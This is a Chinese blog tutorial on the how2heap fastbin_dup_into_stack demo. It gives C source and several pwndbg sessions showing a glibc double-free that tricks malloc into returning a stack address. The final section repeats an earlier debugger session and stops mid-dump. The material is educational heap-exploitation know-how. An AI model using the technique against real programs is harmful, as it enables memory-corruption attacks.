本文主要是介绍从零开始学howtoheap:fastbins的double-free攻击实操1,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客
1.fastbins的double-free攻击
下面的程序展示了fastbins的double-free攻击,可以泄露出一块已经被分配的内存指针。fastbins 可以看成一个后进先出的栈,使用单链表来实现,通过fastbin->fd来遍历。由于free的过程会对free list做检查,我们不能连续两次free同一个chunk,所以这里在两次free 之间,增加了一次对其他chunk的free 过程,从而绕过了检查顺利执行,然后再malloc三次,就在同一个地址malloc了两次,也就有了两个指向同一块内存区域的指针。更具体地展示了上一个程序从零开始学howtoheap:理解fastbins的double-free攻击-CSDN博客所介绍的技巧,通过欺骗malloc 来返回一个我们可控的区域的指针 (在这个例子中,我们可以返回一个栈指针)
2.fastbin_dup_into_stack程序
这个程序更具体地展示了上一个程序所介绍的技巧,通过欺骗malloc 来返回一个我们可控的区域的指针 (在这个例子中,我们可以返回一个栈指针)
源码如下。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>int main()
{fprintf(stderr, "这个例子拓展自 fastbin_dup.c,通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)\n");unsigned long long stack_var;fprintf(stderr, "我们想通过 malloc 申请到 %p.\n", 8+(char *)&stack_var);fprintf(stderr, "先申请3 个 chunk\n");char* a = malloc(8);strcpy(a, "AAAAAAAA");char* b = malloc(8);strcpy(b, "BBBBBBBB");char* c = malloc(8);strcpy(c, "CCCCCCCC");fprintf(stderr, "chunk a: %p\n", a);fprintf(stderr, "chunk b: %p\n", b);fprintf(stderr, "chunk c: %p\n", c);fprintf(stderr, "free 掉 chunk a\n");free(a);fprintf(stderr, "如果还对 %p 进行 free, 程序会崩溃。因为 %p 现在是 fastbin 的第一个\n", a, a);// free(a);fprintf(stderr, "先对 b %p 进行 free\n", b);free(b);fprintf(stderr, "接下来就可以对 %p 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了\n", a);free(a);fprintf(stderr, "现在 fastbin 的链表是 [ %p, %p, %p ] 接下来通过修改 %p 上的内容来进行攻击.\n", a, b, a, a);unsigned long long *d = malloc(8);fprintf(stderr, "第一次 malloc(8): %p\n", d);char* e = malloc(8);strcpy(e, "EEEEEEEE");fprintf(stderr, "第二次 malloc(8): %p\n", e);fprintf(stderr, "现在 fastbin 表中只剩 [ %p ] 了\n", a);fprintf(stderr, "接下来往 %p 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去\n", a);stack_var = 0x20;fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));char* f = malloc(8);strcpy(f, "FFFFFFFF");fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);char* g = malloc(8);strcpy(g, "GGGGGGGG");fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
}
3.调试fastbin_dup_into_stack
3.1 获得可执行程序
gcc -g fastbin_dup_into_stack.c -o fastbin_dup_into_stack
3.2 第一次调试程序
调试环境搭建可参考环境从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客
root@pwn_test1604:/ctf/work/how2heap# gdb ./fastbin_dup_into_stack
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./fastbin_dup_into_stack...done.
pwndbg> r
Starting program: /ctf/work/how2heap/fastbin_dup_into_stack
这个例子拓展自 fastbin_dup.c,通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)
我们想通过 malloc 申请到 0x7fffffffe570.
先申请3 个 chunk
chunk a: 0x603010
chunk b: 0x603030
chunk c: 0x603050
free 掉 chunk a
如果还对 0x603010 进行 free, 程序会崩溃。因为 0x603010 现在是 fastbin 的第一个
先对 b 0x603030 进行 free
接下来就可以对 0x603010 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了
现在 fastbin 的链表是 [ 0x603010, 0x603030, 0x603010 ] 接下来通过修改 0x603010 上的内容来进行攻击.
第一次 malloc(8): 0x603010
第二次 malloc(8): 0x603030
现在 fastbin 表中只剩 [ 0x603010 ] 了
接下来往 0x603010 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去
现在覆盖 0x603010 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置
第三次 malloc(8): 0x603010, 把栈地址放到 fastbin 链表中
这一次 malloc(8) 就申请到了栈上去: 0x7fffffffe570
[Inferior 1 (process 147) exited normally]
pwndbg>
3.3 第二次调试程序
3.3.1 下相应的断点并走起
三次malloc之后
pwndbg> b 20
Breakpoint 1 at 0x400786: file fastbin_dup_into_stack.c, line 20.
pwndbg> r
Starting program: /ctf/work/how2heap/fastbin_dup_into_stack
这个例子拓展自 fastbin_dup.c,通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)
我们想通过 malloc 申请到 0x7fffffffe570.
先申请3 个 chunkBreakpoint 1, main () at fastbin_dup_into_stack.c:20
20 fprintf(stderr, "chunk a: %p\n", a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x603050 ◂— 'CCCCCCCC'RBX 0x0RCX 0x4343434343434343 ('CCCCCCCC')RDX 0x603050 ◂— 'CCCCCCCC'RDI 0x0RSI 0x603060 ◂— 0x0R8 0x603000 ◂— 0x0R9 0xdR10 0x7ffff7dd1b78 (main_arena+88) —▸ 0x603060 ◂— 0x0R11 0x0R12 0x4005b0 (_start) ◂— 0x89485ed18949ed31R13 0x7fffffffe690 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741RSP 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RIP 0x400786 (main+224) ◂— 0x48002018d3058b48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400786 <main+224> mov rax, qword ptr [rip + 0x2018d3] <0x602060>0x40078d <main+231> mov rdx, qword ptr [rbp - 0x40]0x400791 <main+235> mov esi, 0x400b640x400796 <main+240> mov rdi, rax0x400799 <main+243> mov eax, 00x40079e <main+248> call fprintf@plt <0x400570>0x4007a3 <main+253> mov rax, qword ptr [rip + 0x2018b6] <0x602060>0x4007aa <main+260> mov rdx, qword ptr [rbp - 0x38]0x4007ae <main+264> mov esi, 0x400b710x4007b3 <main+269> mov rdi, rax0x4007b6 <main+272> mov eax, 0
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c15 char* b = malloc(8);16 strcpy(b, "BBBBBBBB");17 char* c = malloc(8);18 strcpy(c, "CCCCCCCC");19 ► 20 fprintf(stderr, "chunk a: %p\n", a);21 fprintf(stderr, "chunk b: %p\n", b);22 fprintf(stderr, "chunk c: %p\n", c);23 24 fprintf(stderr, "free 掉 chunk a\n");25 free(a);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│ 0x7fffffffe568 ◂— 0x0
02:0010│ 0x7fffffffe570 —▸ 0x603010 ◂— 'AAAAAAAA'
03:0018│ 0x7fffffffe578 —▸ 0x603030 ◂— 'BBBBBBBB'
04:0020│ 0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│ 0x7fffffffe588 ◂— 0x0
06:0030│ 0x7fffffffe590 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
07:0038│ 0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 400786 main+224f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:20
pwndbg> parsehead
Undefined command: "parsehead". Try "help".
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x20 Used None None
0x603020 0x0 0x20 Used None None
0x603040 0x0 0x20 Used None None
pwndbg> head
Undefined command: "head". Try "help".
pwndbg> heap
heapbase : 0x603000
pwndbg> x/20gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x4141414141414141 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x4242424242424242 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000021
0x603050: 0x4343434343434343 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000020fa1
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
pwndbg>
3.3.2 三次 free 之后
可以看到由于 double free 造成的循环的指针。
pwndbg> b 35
Breakpoint 2 at 0x40087a: file fastbin_dup_into_stack.c, line 35.
pwndbg> rpwndbg> c
Continuing.
chunk a: 0x603010
chunk b: 0x603030
chunk c: 0x603050
free 掉 chunk a
如果还对 0x603010 进行 free, 程序会崩溃。因为 0x603010 现在是 fastbin 的第一个
先对 b 0x603030 进行 free
接下来就可以对 0x603010 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了Breakpoint 2, main () at fastbin_dup_into_stack.c:35
35 fprintf(stderr, "现在 fastbin 的链表是 [ %p, %p, %p ] 接下来通过修改 %p 上的内容来进行攻击.\n", a, b, a, a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x603020 ◂— 0x0RBX 0x0RCX 0x7ffff7b04200 (__openat_2+16) ◂— cmp eax, 0x410000 /* '=' */RDX 0x603020 ◂— 0x0RDI 0xffffffffRSI 0x7ffff7dd1b28 (main_arena+8) —▸ 0x603000 ◂— 0x0R8 0x603010 —▸ 0x603020 ◂— 0x0R9 0x0R10 0xe4acace7849ae720R11 0x246R12 0x4005b0 (_start) ◂— 0x89485ed18949ed31R13 0x7fffffffe690 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741RSP 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RIP 0x40087a (main+468) ◂— 0x48002017df058b48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x40087a <main+468> mov rax, qword ptr [rip + 0x2017df] <0x602060>0x400881 <main+475> mov rdi, qword ptr [rbp - 0x40]0x400885 <main+479> mov rsi, qword ptr [rbp - 0x40]0x400889 <main+483> mov rcx, qword ptr [rbp - 0x38]0x40088d <main+487> mov rdx, qword ptr [rbp - 0x40]0x400891 <main+491> mov r9, rdi0x400894 <main+494> mov r8, rsi0x400897 <main+497> mov esi, 0x400c800x40089c <main+502> mov rdi, rax0x40089f <main+505> mov eax, 00x4008a4 <main+510> call fprintf@plt <0x400570>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c30 free(b);31 32 fprintf(stderr, "接下来就可以对 %p 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了\n", a);33 free(a);34 ► 35 fprintf(stderr, "现在 fastbin 的链表是 [ %p, %p, %p ] 接下来通过修改 %p 上的内容来进行攻击.\n", a, b, a, a);36 unsigned long long *d = malloc(8);37 38 fprintf(stderr, "第一次 malloc(8): %p\n", d);39 char* e = malloc(8);40 strcpy(e, "EEEEEEEE");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│ 0x7fffffffe568 ◂— 0x0
02:0010│ 0x7fffffffe570 —▸ 0x603010 —▸ 0x603020 ◂— 0x0
03:0018│ 0x7fffffffe578 —▸ 0x603030 —▸ 0x603000 ◂— 0x0
04:0020│ 0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│ 0x7fffffffe588 ◂— 0x0
06:0030│ 0x7fffffffe590 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
07:0038│ 0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 40087a main+468f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:35
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x20 Freed 0x603020 None
0x603020 0x0 0x20 Freed 0x603000 None
0x603040 0x0 0x20 Used None None
pwndbg> x/20gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x0000000000603020 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x0000000000603000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000021
0x603050: 0x4343434343434343 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000020fa1
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603000 —▸ 0x603020 ◂— 0x603000
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg>
3.3.3 这时候我们再去malloc两次
还剩一个指向chunk a的free chunk,而前面我们也申请到了指向它的 chunk d,可以通过它编辑chunk a的fd 指针,填充一个有意义的地址:栈地址减0x8(因为伪造的chunk要有个 size,size在&stack_var - 0x8的位置上)
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
通过调试我们可以看到,地址为0x603000
的chunk
的fd
指针指向的是栈上的地址,这样的话,malloc一次之后再次申请的时候就会申请到fd指针指向的0x7fffffffe560
pwndbg> b 47
Breakpoint 3 at 0x400973: file fastbin_dup_into_stack.c, line 47.
pwndbg> c
Continuing.
现在 fastbin 的链表是 [ 0x603010, 0x603030, 0x603010 ] 接下来通过修改 0x603010 上的内容来进行攻击.
第一次 malloc(8): 0x603010
第二次 malloc(8): 0x603030
现在 fastbin 表中只剩 [ 0x603010 ] 了
接下来往 0x603010 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去
现在覆盖 0x603010 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置Breakpoint 3, main () at fastbin_dup_into_stack.c:47
47 *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x62RBX 0x0RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfffRDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI 0x2RSI 0x7fffffffbed0 ◂— 0xa6e8a89ce5b08ee7R8 0x7ffff7feb700 ◂— 0x7ffff7feb700R9 0x62R10 0x32783020a29de98dR11 0x246R12 0x4005b0 (_start) ◂— 0x89485ed18949ed31R13 0x7fffffffe690 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741RSP 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RIP 0x400973 (main+717) ◂— 0x8e88348b8458d48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400973 <main+717> lea rax, [rbp - 0x48]0x400977 <main+721> sub rax, 80x40097b <main+725> mov rdx, rax0x40097e <main+728> mov rax, qword ptr [rbp - 0x28]0x400982 <main+732> mov qword ptr [rax], rdx0x400985 <main+735> mov edi, 80x40098a <main+740> call malloc@plt <0x400580>0x40098f <main+745> mov qword ptr [rbp - 0x18], rax0x400993 <main+749> mov rax, qword ptr [rbp - 0x18]0x400997 <main+753> movabs rcx, 0x46464646464646460x4009a1 <main+763> mov qword ptr [rax], rcx
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c42 fprintf(stderr, "现在 fastbin 表中只剩 [ %p ] 了\n", a);43 fprintf(stderr, "接下来往 %p 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去\n", a);44 stack_var = 0x20;45 46 fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);► 47 *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));48 49 char* f = malloc(8);50 strcpy(f, "FFFFFFFF");51 fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);52 char* g = malloc(8);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│ 0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│ 0x7fffffffe570 —▸ 0x603010 —▸ 0x603020 ◂— 0x0
03:0018│ 0x7fffffffe578 —▸ 0x603030 ◂— 'EEEEEEEE'
04:0020│ 0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│ 0x7fffffffe588 —▸ 0x603010 —▸ 0x603020 ◂— 0x0
06:0030│ 0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│ 0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 400973 main+717f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:47
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x20 Freed 0x603020 None
0x603020 0x0 0x20 Freed 0x4545454545454545 None
0x603040 0x0 0x20 Used None None
pwndbg> x/20gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x0000000000603020 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x4545454545454545 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000021
0x603050: 0x4343434343434343 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000020fa1
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603000 —▸ 0x603020 ◂— 'EEEEEEEE'
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> n
49 char* f = malloc(8);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RBX 0x0RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfffRDX 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RDI 0x2RSI 0x7fffffffbed0 ◂— 0xa6e8a89ce5b08ee7R8 0x7ffff7feb700 ◂— 0x7ffff7feb700R9 0x62R10 0x32783020a29de98dR11 0x246R12 0x4005b0 (_start) ◂— 0x89485ed18949ed31R13 0x7fffffffe690 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741RSP 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RIP 0x400985 (main+735) ◂— 0xfbf1e800000008bf
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x400973 <main+717> lea rax, [rbp - 0x48]0x400977 <main+721> sub rax, 80x40097b <main+725> mov rdx, rax0x40097e <main+728> mov rax, qword ptr [rbp - 0x28]0x400982 <main+732> mov qword ptr [rax], rdx► 0x400985 <main+735> mov edi, 80x40098a <main+740> call malloc@plt <0x400580>0x40098f <main+745> mov qword ptr [rbp - 0x18], rax0x400993 <main+749> mov rax, qword ptr [rbp - 0x18]0x400997 <main+753> movabs rcx, 0x46464646464646460x4009a1 <main+763> mov qword ptr [rax], rcx
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c44 stack_var = 0x20;45 46 fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);47 *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));48 ► 49 char* f = malloc(8);50 strcpy(f, "FFFFFFFF");51 fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);52 char* g = malloc(8);53 strcpy(g, "GGGGGGGG");54 fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rdx rsp 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│ 0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│ 0x7fffffffe570 —▸ 0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
03:0018│ 0x7fffffffe578 —▸ 0x603030 ◂— 'EEEEEEEE'
04:0020│ 0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│ 0x7fffffffe588 —▸ 0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
06:0030│ 0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│ 0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 400985 main+735f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> x/20gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x00007fffffffe560 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x4545454545454545 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000021
0x603050: 0x4343434343434343 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000020fa1
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x20 Freed 0x7fffffffe560 None
0x603020 0x0 0x20 Used None None
0x603040 0x0 0x20 Used None None
pwndbg> bin
fastbins
0x20: 0x603000 —▸ 0x7fffffffe560 —▸ 0x603010 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg>
3.3.4
最后可以看到我们已经分配栈上的内存,绕过fastbin的大小检查,并写入了数据GGGGGGGG。
pwndbg> b 47
Breakpoint 3 at 0x400973: file fastbin_dup_into_stack.c, line 47.
pwndbg> c
Continuing.
现在 fastbin 的链表是 [ 0x603010, 0x603030, 0x603010 ] 接下来通过修改 0x603010 上的内容来进行攻击.
第一次 malloc(8): 0x603010
第二次 malloc(8): 0x603030
现在 fastbin 表中只剩 [ 0x603010 ] 了
接下来往 0x603010 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去
现在覆盖 0x603010 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置Breakpoint 3, main () at fastbin_dup_into_stack.c:47
47 *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x62RBX 0x0RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfffRDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI 0x2RSI 0x7fffffffbed0 ◂— 0xa6e8a89ce5b08ee7R8 0x7ffff7feb700 ◂— 0x7ffff7feb700R9 0x62R10 0x32783020a29de98dR11 0x246R12 0x4005b0 (_start) ◂— 0x89485ed18949ed31R13 0x7fffffffe690 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741RSP 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RIP 0x400973 (main+717) ◂— 0x8e88348b8458d48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400973 <main+717> lea rax, [rbp - 0x48]0x400977 <main+721> sub rax, 80x40097b <main+725> mov rdx, rax0x40097e <main+728> mov rax, qword ptr [rbp - 0x28]0x400982 <main+732> mov qword ptr [rax], rdx0x400985 <main+735> mov edi, 80x40098a <main+740> call malloc@plt <0x400580>0x40098f <main+745> mov qword ptr [rbp - 0x18], rax0x400993 <main+749> mov rax, qword ptr [rbp - 0x18]0x400997 <main+753> movabs rcx, 0x46464646464646460x4009a1 <main+763> mov qword ptr [rax], rcx
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c42 fprintf(stderr, "现在 fastbin 表中只剩 [ %p ] 了\n", a);43 fprintf(stderr, "接下来往 %p 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去\n", a);44 stack_var = 0x20;45 46 fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);► 47 *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));48 49 char* f = malloc(8);50 strcpy(f, "FFFFFFFF");51 fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);52 char* g = malloc(8);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│ 0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│ 0x7fffffffe570 —▸ 0x603010 —▸ 0x603020 ◂— 0x0
03:0018│ 0x7fffffffe578 —▸ 0x603030 ◂— 'EEEEEEEE'
04:0020│ 0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│ 0x7fffffffe588 —▸ 0x603010 —▸ 0x603020 ◂— 0x0
06:0030│ 0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│ 0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 400973 main+717f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:47
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x20 Freed 0x603020 None
0x603020 0x0 0x20 Freed 0x4545454545454545 None
0x603040 0x0 0x20 Used None None
pwndbg> x/20gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x0000000000603020 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x4545454545454545 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000021
0x603050: 0x4343434343434343 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000020fa1
0x603070: 0x0000000000000000 0x0000000000000000
